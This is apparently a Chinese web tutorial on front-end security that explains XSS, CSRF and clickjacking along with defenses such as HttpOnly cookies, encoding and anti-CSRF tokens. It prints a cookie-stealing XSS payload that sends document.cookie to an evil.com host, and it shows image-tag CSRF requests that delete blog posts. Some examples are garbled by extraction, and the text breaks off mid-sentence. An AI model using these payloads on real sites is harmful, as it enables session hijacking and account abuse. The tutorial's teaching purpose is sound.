当前位置: 首页 > Web前端 > CSS

浅谈前端安全的分类

时间:2023-03-31 00:27:22 CSS

安全问题按照发生的区域分类后端安全问题:发生在后端服务器、应用、服务的所有安全问题前端安全问题:所有那些发生在浏览器、单页应用、网页中的安全问题,根据团队中哪个角色最适合修复安全问题进行分类。前端安全问题:浏览器、前端应用出现的安全问题,或者通常由前端开发工程师修复。对于来自不同来源的文档或脚本,影响“来源”读取或设置当前文档某些属性的因素有:主机(域名或IP地址)、子域名、端口、协议对于浏览器、DOM、Cookie、XMLHttpRequest会受同源策略限制,不受同源策略限制alert('xss')。如果前端页面不过滤搜索框内容,直接发送,URL地址栏应该显示https://category。vip.com/suggest.php?keyword=&ff=235|12|1|1,从而告警xss,但事实是已经转码:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1假设前端页面没有处理,攻击者可以通过构造获取用户cookie的地址,诱使用户访问该地址,例如https://category.vip.com/suggest.php?keyword=&ff=235|12|1|12。存储型XSS:将用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。例如,黑客写了一篇包含恶意javascript代码的博客文章。帖子发布后,所有访问该博文的用户都会在浏览器中执行这段恶意javascript代码,黑客将恶意脚本保存到服务器上3.DOMBasedXSS:通过修改页面DOM节点形成的XSS。例如:在输入框中输入内容后,点击write,然后点击一个链接原理:先把href的第一个单引号用单引号括起来,然后插入onclick事件,最后用注释符号"//"注释掉第二个单引号。单击此链接,脚本将被执行。XSSPayload攻击定义XSS攻击成功后,攻击者可以在用户当前浏览的页面中植入恶意脚本,通过恶意脚本控制用户的浏览器。这些用于完成各种特定功能的恶意脚本称为XSSPayload。实际上,它是一个Javascript脚本(或者Flash或者其他富客户端脚本),所以XSSPayload可以实现javascript脚本可以实现的任何功能。攻击者通过读取浏览器的cookie对象,先发起“cookie劫持”攻击。一个远程脚本http://www.a.com/test.htm?abc=">真正的XSSPayload写在这里在remotescript中,避免直接在url的参数中写入大量Javascript代码,在evil.js中,窃取cookievarimg=document.createElement("img");img.src="http://www.evil.com/log?"+escape(document.cookie);document.body.appendChild(img);以上代码在页面中插入了一张不可见的图片,并将document.cookie对象作为参数发送给远程服务器http://www.evil.com/log不一样...,因为这个请求会在远程服务器127.0.0.1的web日志中留下一条记录--[119/Jul/2010:11:30:42+0800]"GET/log?cookie1%3D1234HTTP/1.1"404288通过模拟GET和POST请求操作用户浏览器(当“cookie劫持”失败,或者目标用户网络无法上网时,会很有用)假设博客页面存在XSS漏洞,可以通过构造get请求来操作用户浏览器,假设正常删除博客文章的链接是http://blog.test.com/manage/e。..对于攻击者来说,你只需要知道文章的id,就可以通过这个请求删除这篇文章。攻击者可以通过插入图片来发起get请求。攻击者只需要让博主执行这段javascript代码,就是XSSPayload,就会被删除。本文XSS防御1.HttpOnly浏览器禁止页面上的Javascript访问具有HttpOnly属性的cookie。(真正的解决方案是:XSS后的cookie劫持攻击)现在已经成为一种“标准”做法不同的语言对cookie添加HttpOnly的方式不同,比如JavaEE:response.setHeader("Set-Cookie",“cookiename=value;Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);PHP4:header(“Set-Cookie:hidden=value;httpOnly”);PHP5:setcookie(“abc”,“test",NULL,NULL,NULL,NULL,TRUE);//true为HttpOnly属性2.输入检查(XSSFilter)原理:使一些基于特殊字符的攻击无效。(常见的Web漏洞如XSS、SQLInjection等需要攻击者构造一些特殊字符)输入校验的逻辑必须在服务端代码中实现。当前Web开发中的常见做法是同时在客户端Javascript和服务器端代码中实现相同的输入检查。客户端的输入校验,可以阻断大部分正常用户的输入错误,节省服务器资源。3、输出检查变量输出到HTML页面时,使用编码或转义来防御XSS攻击HTML代码的编码方式:HtmlEncodePHP:htmlentities()和htmlspecialchars()两个函数Javascript:JavascriptEncode(需要使用""转义特殊字符,并要求输出变量必须在引号内)在URL的路径(path)或搜索(参数)中输出。使用URLEncode的具体实现可以参考:http://www.cnblogs.com/lovesong/p/5211667.html防御DOMBasedXSSD的形成DOMBasedXSS:(举例)本质:从Javascript输出数据对HTML页面这个例子的解决方法:做一个HtmlEncode防御方法:根据上下文使用不同的编码功能总结XSS漏洞虽然复杂,但是完全可以解决。在设计解决方案时,应该针对不同的场景了解XSS攻击的原理,使用不同的方法2.CSRF(Cross-SiteRequestForgery)什么是CSRF?://www.a.com/csrf.html,其内容为使用了img标签,其地址指向删除了Iid为156714243的博文,然后攻击者引诱目标用户,即博主访问该页面,用户看到无法显示的图片。此时,他的博文已经被删除原理:刚才访问http://www.a.com/csrf.html页面时,image标签向服务器发送了get请求。此请求导致博客文章被删除。这种删除博文的请求是一种攻击。因此,这种攻击被称为“跨站请求伪造”。CSRF的原理参考上图。我们可以得出结论,要完成一次CSRF攻击,必须满足两个条件。不退出网站A,访问危险网站BCSRF本质CSRF攻击是攻击者利用用户身份操作用户账号的一种攻击方式攻击者猜测的解决方案1.验证码CSRF攻击过程中,用户构造网络请求不知不觉中。添加验证码后,强制用户与应用交互。所有操作都加了验证码2.RefererCheck利用HTTP头中的Referer来判断请求源是否合法。Referer头包含当前请求页面的源页面地址。请求加个拦截器检查Referer的值就可以了)缺点:服务端始终获取不到Referer。为了保护用户隐私,Referer的发送是有限制的。比如从HTTPS跳转到HTTP,出于安全考虑,浏览器不会发送RefererBrowserCompatibilityReferer更多详情:https://75team.com/post/everything-you-could-ever-want-to-了解更多关于控制引用者标头的信息-fastmail-blog.html3。使用AntiCSRFToken例如删除操作的URL为:http://host/path/delete?uesrname=abc&item=123保持原有参数不变,增加一个新的参数Token,Token值随机不可预测http://host/path/delete?username=abc&item=123&token=[random(seed)]由于Token的存在,攻击者无法再构造完整的URL来实施CSRF攻击。优点:比检查Referer方式更安全,不涉及用户隐私。缺点:很难为所有请求添加Token。更多关于CSRF的内容请参考:应对CSRF攻击方式:https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/CSRF原理分析:http://netsecurity.51cto.com/art/200812/102951.htm维基百科CSRF:https://en.wikipedia.org/wiki/Cross-site_request_forgeryCSRF例子:http://netsecurity.51cto.com/art/200812/102925.htm注意事项:Token需要足够随机,并且足够安全的随机数生成算法必须使用Token由用户和服务器共同持有,不能被第三方知晓。Token可以放在用户的Session中,也可以放在浏览器的cookie中。尽量把Token放到form里,把敏感操作从GET改成POST,使用form表单提交,避免Token泄露(比如一个页面:http://host/path/manage?username=abc&token=[random],用户需要在本页面提交表单在这种场景下,如果页面中包含一张图片,那么这个页面地址就会作为HTTP请求的Refer发送到evil.com的服务器,导致Token泄露)XSRF当网站同时存在XSS和CSRF漏洞时,XSS可以模拟客户端浏览器进行任意操作。在攻击下,攻击者可以请求页面,读取页面内容中的Token值,进而构造合法的请求结论。安全防御体系应该是相辅相成、缺一不可的。3.点击劫持(ClickJacking)什么是点击劫持点击劫持是一种视觉欺骗。攻击者使用透明、不可见的iframe叠加在网页上,然后诱使用户在网页上进行操作。这时,用户会在不知不觉中点击透明的iframe页面。通过调整iframe页面的位置,可以诱导用户点击iframe页面上的一些功能按钮。点击劫持防御:X-Frame-OptionsX-Frame-OptionsHTTP响应头用于向浏览器指示页面是否可以在、